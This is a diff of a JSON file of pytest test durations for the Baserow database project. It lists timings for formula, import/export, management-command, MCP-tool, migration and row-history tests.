"tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields34-year(todate('01012023', 'DDMMYYYY'))-True]": 0.11587891695671715, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields35-field('dt')-True]": 0.12017133401241153, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields36-day(field('dt'))-True]": 0.12919729101122357, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields37-month(field('dt'))-True]": 0.13114179196418263, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields38-year(field('dt'))-True]": 0.13094120798632503, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields39-isblank(field('dt'))-False]": 0.12382149999029934, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields4-field('txt') + field('txt')-False]": 0.13293245996464975, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields40-is_null(field('dt'))-False]": 0.13832154095871374, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields41-totext(field('dt'))-False]": 0.13772441699984483, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields42-field('dt') + date_interval('1d')-True]": 0.12144462502328679, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields43-field('dt') - date_interval('1d')-True]": 0.12584662402514368, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields44-date_interval('1d') / 2-True]": 0.11693633403046988, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields44-field('fdt')-True]": 0.13381611602380872, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields45-date_interval('1d') * 2-True]": 0.15652887499891222, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields45-date_interval('1d') * 2-True]": 0.12391712499083951, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields45-date_interval('1d')-True]": 0.1089468098944053, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields46-field('fdt')-True]": 0.17426287600028445, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields46-field('fdt')-True]": 0.1471723759896122, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields46-todate('02012023', 'DDMMYYYY') - todate('01012023', 'DDMMYYYY')-True]": 0.10761470289435238, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields47-date_interval('1d')-True]": 0.1523464170004445, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields47-date_interval('1d')-True]": 0.1123307510279119, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields47-todate('02012023', 'DDMMYYYY') - field('tick')-True]": 0.11434778198599815, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields48-field('tock') - todate('02012023', 'DDMMYYYY')-True]": 0.11327613005414605, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields48-todate('02012023', 'DDMMYYYY') - todate('01012023', 'DDMMYYYY')-True]": 0.15344495799945435, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields48-todate('02012023', 'DDMMYYYY') - todate('01012023', 'DDMMYYYY')-True]": 0.11167987596127205, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields49-field('tock') - field('tick')-True]": 0.12179752008523792, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields49-todate('02012023', 'DDMMYYYY') - field('tick')-True]": 0.1584511669998392, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields5-if(isblank('a'), 'a', 'b')-False]": 0.16005966699958663, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields49-todate('02012023', 'DDMMYYYY') - field('tick')-True]": 0.12877541704801843, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields5-if(isblank('a'), 'a', 'b')-False]": 0.11767191698891111, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields50-field('diff')-True]": 0.14105031604412943, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields50-field('tock') - todate('02012023', 'DDMMYYYY')-True]": 0.16142491699974926, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields51-field('tock') - field('tick')-True]": 0.16909066700009134, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields50-field('tock') - todate('02012023', 'DDMMYYYY')-True]": 0.12265149896848015, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields51-field('tock') - field('tick')-True]": 0.12658337503671646, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields51-totext(field('diff'))-False]": 0.1341583620524034, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields52-field('diff') + date_interval('1d')-True]": 0.13654691411647946, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields52-field('diff')-True]": 0.18300154200005636, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields53-totext(field('diff'))-False]": 0.17865591599911568, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields54-field('diff') + date_interval('1d')-True]": 0.17729783300001145, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields6-if(isblank(field('txt')), field('txt'), 'b')-True]": 0.1683454169997276, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields7-if(not(isblank(field('txt'))), 'b', field('txt'))-True]": 0.16572204299973237, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields8-1-False]": 0.15931150100004743, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields9-field('nr')-True]": 0.16728712500025722, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_reference_to_null_number_field_acts_as_zero": 0.037666831998649286, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_todate_handles_empty_values": 0.036207873999956064, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields52-field('diff')-True]": 0.15766462500323541, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields53-totext(field('diff'))-False]": 0.15566450002370402, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields54-field('diff') + date_interval('1d')-True]": 0.15643883400480263, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields6-if(isblank(field('txt')), field('txt'), 'b')-True]": 0.1371080829994753, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields7-if(not(isblank(field('txt'))), 'b', field('txt'))-True]": 0.13509170903125778, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields8-1-False]": 0.12414341702242382, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_nullable_formulas[fields9-field('nr')-True]": 0.12670779196196236, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_reference_to_null_number_field_acts_as_zero": 0.15310337400296703, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_regexp_replace": 0.1596472080273088, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_todate_handles_empty_values": 0.09330770900123753, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_complex_formulas[Can compare a date field and text with formatting-table_setup5-field('date')='02/01/2020'-expected5]": 0.1221090879989788, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_complex_formulas[Can compare a datetime field and text with eu formatting-table_setup6-field('date')='01/02/2020 00:10'-expected6]": 0.12236099000438116, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_complex_formulas[Can compare a phone number and number column-table_setup4-field('pn')=field('num')-expected4]": 0.1326766759993916, @@ -3808,7 +6384,7 @@ "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_complex_formulas[Can reference and if a text column-table_setup2-if(field('text')='a', field('text'), 'no')-expected2]": 0.127152039000066, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_complex_formulas[Can use a boolean field in an if-table_setup8-if(field('boolean'), 'true', 'false')-expected8]": 0.12938151999696856, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_complex_formulas[Can use datediff on fields-table_setup7-date_diff('dd', field('date1'), field('date2'))-expected7]": 0.13707887599957758, - "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_formulas": 11.272626840000157, + "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_formulas": 43.72718999997596, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_formulas['a' != 'a'-False]": 0.11080202700395603, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_formulas['a' != 'b'-True]": 0.10585111500040512, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_formulas['a' + 'b'-ab]": 0.11320030500064604, @@ -3902,147 +6478,248 @@ "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_formulas[totext(true)-true]": 0.10909002599873929, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_formulas[true != false-True]": 0.1132411830003548, "tests/baserow/contrib/database/formula/test_baserow_formula_results.py::test_valid_formulas[true-True]": 0.1101202639983967, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_can_replace_multiple_different_field_references": 0.0078114159987308085, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_doesnt_replace_unknown_field": 0.008855582998876343, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_leaves_unknown_field_references_along": 0.008404375999816693, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_raises_with_field_names_for_invalid_syntax": 0.007943541002532584, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_binary_op_keeping_whitespace_and_comments": 0.007694039999478264, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_double_quote_field_ref_containing_double_quotes": 0.007735874998616055, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_double_quote_field_ref_containing_single_quotes": 0.008261540997409611, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_double_quoted_field_ref": 0.007700332998865633, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_field_reference_keeping_whitespace": 0.00868258399896149, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_field_reference_keeping_whitespace_and_comments": 0.008317000003444264, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_field_reference_preserving_case": 0.008815792001769296, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_function_call_keeping_whitespace_and_comments": 0.008079625000391388, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_single_quoted_field_ref": 0.008541749000869459, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_field_with_double_quotes_with_id": 0.009009209001305862, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_field_with_field_by_id": 0.008088997999948333, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_field_with_single_quotes_with_id": 0.00978370800112316, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_functions_preserving_case": 0.007802958998581744, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_known_field_by_id": 0.008444833998510148, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_known_field_by_id_double_quotes": 0.007609999000123935, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_known_field_by_id_single_quotes": 0.007754083999316208, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_lookup": 0.008725334000700968, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_lookup_when_via_changes": 0.009761916999195819, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_unknown_field_by_id_with_field": 0.00790279200009536, - "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_unknown_field_by_id_with_field_multiple": 0.00782391699794971, - "tests/baserow/contrib/database/management/test_copy_tables.py::test_a_batch_size_one_more_than_the_number_of_tables_runs_two_batches": 0.007871666000937694, - "tests/baserow/contrib/database/management/test_copy_tables.py::test_a_batch_size_the_same_as_the_number_of_tables_runs_one_batch": 0.00821679099863104, - "tests/baserow/contrib/database/management/test_copy_tables.py::test_a_batch_with_some_tables_ignored_wont_merge_with_the_next_batch": 0.009424040001249523, - "tests/baserow/contrib/database/management/test_copy_tables.py::test_a_table_already_in_the_target_db_is_not_in_the_command": 0.008935956999266637, - "tests/baserow/contrib/database/management/test_copy_tables.py::test_the_final_batch_includes_all_remaining_tables": 0.009641707998525817, - "tests/baserow/contrib/database/management/test_debug_table.py::test_debug_table_raises_when_table_doesnt_exist": 0.010183458000028622, - "tests/baserow/contrib/database/management/test_debug_table.py::test_debug_table_shows_table_and_field_names": 0.1540308340008778, - "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_fields": 0.313097292000748, - "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_fields_with_add_all_fields": 1.738348333000431, - "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_empty_table[10]": 0.16819104200021684, - "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_empty_table[5]": 0.16495654200025456, - "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_no_empty_table[10]": 0.17015945899947837, - "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_no_empty_table[5]": 0.16938295900035882, - "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_no_table": 0.009956582999620878, - "tests/baserow/contrib/database/management/test_reset_formula.py::test_reset_formula_changes_formula_value": 0.15930383400063874, - "tests/baserow/contrib/database/management/test_reset_formula.py::test_reset_formula_raises_for_invalid": 0.15471133399933024, - "tests/baserow/contrib/database/management/test_reset_formula.py::test_reset_formula_raises_for_missing_formula": 0.010755167998468096, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_can_replace_multiple_different_field_references": 0.01286141699529253, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_doesnt_replace_unknown_field": 0.012881667003966868, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_leaves_unknown_field_references_along": 0.012672167009441182, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_raises_with_field_names_for_invalid_syntax": 0.013118666975060478, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_binary_op_keeping_whitespace_and_comments": 0.01278941598138772, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_double_quote_field_ref_containing_double_quotes": 0.012831751024350524, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_double_quote_field_ref_containing_single_quotes": 0.012677416991209611, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_double_quoted_field_ref": 0.012900833011372015, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_field_reference_keeping_whitespace": 0.012833707995014265, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_field_reference_keeping_whitespace_and_comments": 0.01325766698573716, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_field_reference_preserving_case": 0.013160875008907169, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_function_call_keeping_whitespace_and_comments": 0.013189707999117672, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replace_single_quoted_field_ref": 0.01372908303164877, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_field_with_double_quotes_with_id": 0.012710874987533316, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_field_with_field_by_id": 0.012647833005758002, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_field_with_single_quotes_with_id": 0.012732583010802045, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_functions_preserving_case": 0.012782458012225106, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_known_field_by_id": 0.012820166972232983, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_known_field_by_id_double_quotes": 0.012753041984979063, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_known_field_by_id_single_quotes": 0.01272066801902838, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_lookup": 0.012725249980576336, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_lookup_when_via_changes": 0.012770791014190763, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_unknown_field_by_id_with_field": 0.012735916010569781, + "tests/baserow/contrib/database/formula/test_rename_field_references.py::test_replaces_unknown_field_by_id_with_field_multiple": 0.012932540994370356, + "tests/baserow/contrib/database/import_export/test_export_applications.py::test_export_with_rows_limit": 0.49592500197468325, + "tests/baserow/contrib/database/import_export/test_export_applications.py::test_exported_files_checksum": 0.4609142089902889, + "tests/baserow/contrib/database/import_export/test_export_applications.py::test_exporting_interesting_database": 59.885445916996105, + "tests/baserow/contrib/database/import_export/test_export_applications.py::test_exporting_only_structure_writes_file_to_storage": 0.5524630419968162, + "tests/baserow/contrib/database/import_export/test_export_applications.py::test_exporting_workspace_writes_file_to_storage": 0.4416374569700565, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_a_column_without_a_grid_view_option_has_an_option_made_and_is_exported": 0.17333066600258462, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_a_complete_export_job_which_has_expired_will_have_its_file_deleted": 0.6418093729880638, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_a_pending_job_which_has_expired_will_be_cleaned_up": 0.25227579099009745, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_a_running_export_job_which_has_expired_will_be_stopped": 0.2542577089916449, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_action_done_is_emitted_when_the_export_finish": 0.1351825409801677, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_adding_more_rows_doesnt_increase_number_of_queries_run": 0.8689742930000648, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_an_export_job_which_fails_will_be_marked_as_a_failed_job": 0.11793333300738595, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_attempting_to_export_a_table_for_a_type_which_doesnt_support_it_fails": 0.11502020800253376, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_attempting_to_export_a_view_for_a_type_which_doesnt_support_it_fails": 0.11335929099004716, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_can_export_csv_with_different_charsets": 0.00016808297368697822, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_can_export_csv_with_different_column_separators": 2.568412125983741, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_can_export_csv_without_header": 0.46344666701043025, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_can_export_every_interesting_different_field_to_csv": 7.12049850000767, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_can_export_special_characters_in_arabic_encoding_to_csv": 0.18888800000422634, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_columns_are_exported_by_order_then_field_id": 0.17555762399570085, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_creating_a_new_export_job_will_cancel_any_already_running_jobs_for_that_user": 0.19569475000025705, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_creating_job_with_view_that_is_not_in_the_table": 0.17368208401603624, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_csv_is_escaped": 0.15024116699350998, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_csv_is_filtered_by_filters": 0.15856079198420048, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_csv_is_sorted_by_sorts": 0.16018116599298082, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_exporting_public_view_without_user": 0.0785790840163827, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_exporting_public_view_without_user_fails_if_not_publicly_shared_and_allowed": 0.059952415991574526, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_exporting_table_ignores_view_filters_sorts_hides": 0.1467106240161229, + "tests/baserow/contrib/database/import_export/test_export_handler.py::test_hidden_fields_are_excluded": 0.18218337500002235, + "tests/baserow/contrib/database/import_export/test_import_export.py::test_import_export_works_with_invalid_rollup_field": 0.8575914580142125, + "tests/baserow/contrib/database/management/test_copy_tables.py::test_a_batch_size_one_more_than_the_number_of_tables_runs_two_batches": 0.013031792012043297, + "tests/baserow/contrib/database/management/test_copy_tables.py::test_a_batch_size_the_same_as_the_number_of_tables_runs_one_batch": 0.012548749975394458, + "tests/baserow/contrib/database/management/test_copy_tables.py::test_a_batch_with_some_tables_ignored_wont_merge_with_the_next_batch": 0.012806915969122201, + "tests/baserow/contrib/database/management/test_copy_tables.py::test_a_table_already_in_the_target_db_is_not_in_the_command": 0.012835168017772958, + "tests/baserow/contrib/database/management/test_copy_tables.py::test_the_final_batch_includes_all_remaining_tables": 0.012827251019189134, + "tests/baserow/contrib/database/management/test_debug_table.py::test_debug_table_raises_when_table_doesnt_exist": 0.01978491697809659, + "tests/baserow/contrib/database/management/test_debug_table.py::test_debug_table_shows_table_and_field_names": 0.12517466599820182, + "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_fields": 0.25181291697663255, + "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_fields_with_add_all_fields": 2.8220209990104195, + "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_empty_table[10]": 0.1399817509809509, + "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_empty_table[5]": 0.13473254098789766, + "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_no_empty_table[10]": 0.1498466670163907, + "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_no_empty_table[5]": 0.13704620901262388, + "tests/baserow/contrib/database/management/test_fill_table.py::test_fill_table_rows_no_table": 0.014820292009972036, + "tests/baserow/contrib/database/management/test_reset_formula.py::test_reset_formula_changes_formula_value": 0.14931079201051034, + "tests/baserow/contrib/database/management/test_reset_formula.py::test_reset_formula_raises_for_invalid": 0.1239842910435982, + "tests/baserow/contrib/database/management/test_reset_formula.py::test_reset_formula_raises_for_missing_formula": 0.019522625021636486, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_create_row": 0.14776483303285204, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_create_row_table_different_workspace": 0.12899950097198598, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_delete_row": 0.15417075096047483, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_delete_row_not_existing_row": 0.144467956997687, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_delete_row_table_different_workspace": 0.12767662599799223, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_list_rows": 0.15204395898035727, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_list_rows_table_different_workspace": 0.12541229199268855, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_list_rows_with_page_and_size": 0.1557544160168618, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_list_rows_with_search_query": 0.15709387496463023, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_update_row": 0.16462633301853202, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_call_tool_update_row_table_different_workspace": 0.12605299896677025, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_create_row_list_tools": 0.15003108300152235, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_delete_row_list_tools": 0.13519500097027048, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_list_rows_list_tools": 0.1651467090123333, + "tests/baserow/contrib/database/mcp/test_mcp_rows_tools.py::test_update_row_list_tools": 0.14621866698144004, + "tests/baserow/contrib/database/mcp/test_mcp_table_tools.py::test_call_tool_list_tables": 0.15770629301550798, + "tests/baserow/contrib/database/mcp/test_mcp_table_utils.py::test_get_all_tables": 0.23820333302137442, "tests/baserow/contrib/database/migrations/test_add_and_move_public_flags.py::test_backwards_migration": 2.522556201001862, "tests/baserow/contrib/database/migrations/test_add_and_move_public_flags.py::test_forwards_migration": 3.113447931005794, "tests/baserow/contrib/database/migrations/test_add_and_move_public_flags.py::test_multi_batch_forwards_migration": 1.712530025994056, - "tests/baserow/contrib/database/migrations/test_field_dependencies_migration.py::test_backwards_migration": 8.42930003273068e-05, - "tests/baserow/contrib/database/migrations/test_field_dependencies_migration.py::test_forwards_migration": 0.00013425099859887268, + "tests/baserow/contrib/database/migrations/test_field_dependencies_migration.py::test_backwards_migration": 7.20410025678575e-05, + "tests/baserow/contrib/database/migrations/test_field_dependencies_migration.py::test_forwards_migration": 8.658299339003861e-05, "tests/baserow/contrib/database/migrations/test_fix_hanging_formula_fields_migration.py::test_forwards_migration": 1.803225272000418, "tests/baserow/contrib/database/migrations/test_fixed_trashed_field_dependencies_migration.py::test_forwards_migration": 4.401211574000627, "tests/baserow/contrib/database/migrations/test_link_row_relation_id.py::test_forwards_migration": 0.9315618609980447, - "tests/baserow/contrib/database/migrations/test_remove_field_by_id_migration.py::test_backwards_migration": 8.016799984034151e-05, - "tests/baserow/contrib/database/migrations/test_remove_field_by_id_migration.py::test_forwards_migration": 9.77910003712168e-05, + "tests/baserow/contrib/database/migrations/test_remove_field_by_id_migration.py::test_backwards_migration": 6.729102460667491e-05, + "tests/baserow/contrib/database/migrations/test_remove_field_by_id_migration.py::test_forwards_migration": 7.987601566128433e-05, "tests/baserow/contrib/database/migrations/test_remove_multiselect_missing_options.py::test_forwards_migration": 4.295586552001623, "tests/baserow/contrib/database/migrations/test_rename_old_generated_table_indexes_migration.py::test_forwards_migration": 1.4943850599993311, "tests/baserow/contrib/database/migrations/test_unique_field_names_migration.py::test_backwards_migration_restores_field_names": 1.3113810219983861, "tests/baserow/contrib/database/migrations/test_unique_field_names_migration.py::test_migration_fixes_duplicate_field_names": 4.443092047997197, "tests/baserow/contrib/database/migrations/test_unique_field_names_migration.py::test_migration_fixes_duplicate_field_names_and_reserved_names": 2.8127951089954877, "tests/baserow/contrib/database/migrations/test_unique_field_names_migration.py::test_migration_handles_existing_fields_with_underscore_number": 0.978585140001087, - "tests/baserow/contrib/database/rows/test_row_history.py::test_history_handler_only_save_changed_fields": 0.1944740000008096, - "tests/baserow/contrib/database/rows/test_row_history.py::test_row_history_handler_delete_entries_older_than": 0.14631979100067838, - "tests/baserow/contrib/database/rows/test_row_history.py::test_row_history_handler_list_history_filters_with_registry": 0.14776454100046976, - "tests/baserow/contrib/database/rows/test_row_history.py::test_row_history_not_recorded_with_retention_zero_days": 0.16956949999985227, - "tests/baserow/contrib/database/rows/test_row_history.py::test_update_rows_action_doesnt_insert_entries_if_row_doesnt_change": 0.22501524899962533, - "tests/baserow/contrib/database/rows/test_row_history.py::test_update_rows_insert_multiple_entries_in_row_history": 0.20088816700081225, - "tests/baserow/contrib/database/rows/test_row_metadata_registry.py::test_merges_together_row_metadata_by_type_and_row_id": 0.009362667000459624, - "tests/baserow/contrib/database/rows/test_row_metadata_registry.py::test_nothing_registered_returns_empty_even_when_rows_provided": 0.010362459001044044, + "tests/baserow/contrib/database/rows/test_row_deletion.py::test_three_table_dependency_ordering_when_deleting_row": 1.0194709160132334, + "tests/baserow/contrib/database/rows/test_row_deletion.py::test_two_table_dependency_ordering_when_deleting_row": 0.6807410000183154, + "tests/baserow/contrib/database/rows/test_row_history.py::test_create_rows_action_row_history_with_undo_redo[CreateRowActionType-]": 0.2639826259983238, + "tests/baserow/contrib/database/rows/test_row_history.py::test_create_rows_action_row_history_with_undo_redo[CreateRowsActionType-]": 0.2657033749856055, + "tests/baserow/contrib/database/rows/test_row_history.py::test_create_rows_action_row_history_with_undo_redo_related_tables[CreateRowActionType-]": 5.608381833997555, + "tests/baserow/contrib/database/rows/test_row_history.py::test_create_rows_action_row_history_with_undo_redo_related_tables[CreateRowsActionType-]": 6.038391916023102, + "tests/baserow/contrib/database/rows/test_row_history.py::test_delete_rows_action_row_history_with_undo_redo[DeleteRowActionType-]": 0.2682220000133384, + "tests/baserow/contrib/database/rows/test_row_history.py::test_delete_rows_action_row_history_with_undo_redo[DeleteRowsActionType-]": 0.275500418007141, + "tests/baserow/contrib/database/rows/test_row_history.py::test_delete_rows_action_row_history_with_undo_redo_related_tables[DeleteRowActionType-]": 5.758320124994498, + "tests/baserow/contrib/database/rows/test_row_history.py::test_delete_rows_action_row_history_with_undo_redo_related_tables[DeleteRowsActionType-]": 5.901241082989145, + "tests/baserow/contrib/database/rows/test_row_history.py::test_history_handler_only_save_changed_fields": 0.1684250829857774, + "tests/baserow/contrib/database/rows/test_row_history.py::test_restore_rows_action_with_related_tables[DeleteRowActionType--row]": 6.572013208962744, + "tests/baserow/contrib/database/rows/test_row_history.py::test_row_history_handler_delete_entries_older_than": 0.11155562498606741, + 